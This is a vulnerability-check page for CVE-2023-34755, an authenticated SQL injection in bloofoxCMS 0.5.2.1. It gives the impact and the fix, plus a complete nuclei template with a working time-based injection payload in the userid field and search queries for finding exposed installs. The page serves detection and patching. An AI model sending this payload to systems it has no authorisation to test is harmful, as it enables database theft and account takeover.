bloofoxCMS v0.5.2.1 - SQL Injection

criticalseverity

9.8CVSS score

4.2%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the userid parameter at admin/index.php?mode=user&action=edit.

Impact

Authenticated attackers can exploit SQL injection through the userid parameter in user management to extract database contents, manipulate user accounts, and potentially gain administrator access to the bloofoxCMS system.

Fix

Update bloofoxCMS to a version newer than 0.5.2.1 that uses parameterized queries or prepared statements for the userid parameter in admin/index.php user editing functionality.

How to confirm it

Send: POST /admin/index.php ; @timeout: 10s
Positive when: duration>=6 and contains(header_2, "text/html") and contains(body_2, 'bloofoxCMS Admincenter')

Run it with nuclei: nuclei -id CVE-2023-34755 -u <target>

The full check

id: CVE-2023-34755

info:
  name: bloofoxCMS v0.5.2.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the userid parameter at admin/index.php?mode=user&action=edit.
  impact: |
    Authenticated attackers can exploit SQL injection through the userid parameter in user management to extract database contents, manipulate user accounts, and potentially gain administrator access to the bloofoxCMS system.
  remediation: |
    Update bloofoxCMS to a version newer than 0.5.2.1 that uses parameterized queries or prepared statements for the userid parameter in admin/index.php user editing functionality.
  reference:
    - https://www.bloofox.com
    - https://ndmcyb.hashnode.dev/bloofox-v0521-was-discovered-to-contain-many-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34755
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34755
    cwe-id: CWE-89
    epss-score: 0.04228
    epss-percentile: 0.91089
    cpe: cpe:2.3:a:bloofox:bloofoxcms:0.5.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: bloofox
    product: bloofoxcms
    fofa-query:
      - "Powered by bloofoxCMS"
      - powered by bloofoxcms
  tags: time-based-sqli,cve,cve2023,sqli,bloofox,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&action=login
      - |
        @timeout: 10s
        POST /admin/index.php?mode=user&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&pwdconfirm=test&blocked=0&deleted=0&status=0&login_page=0&userid='+AND+(SELECT+7401+FROM+(SELECT(SLEEP(6)))hwrS)--+&send=Save

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - contains(header_2, "text/html")
          - contains(body_2, 'bloofoxCMS Admincenter')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from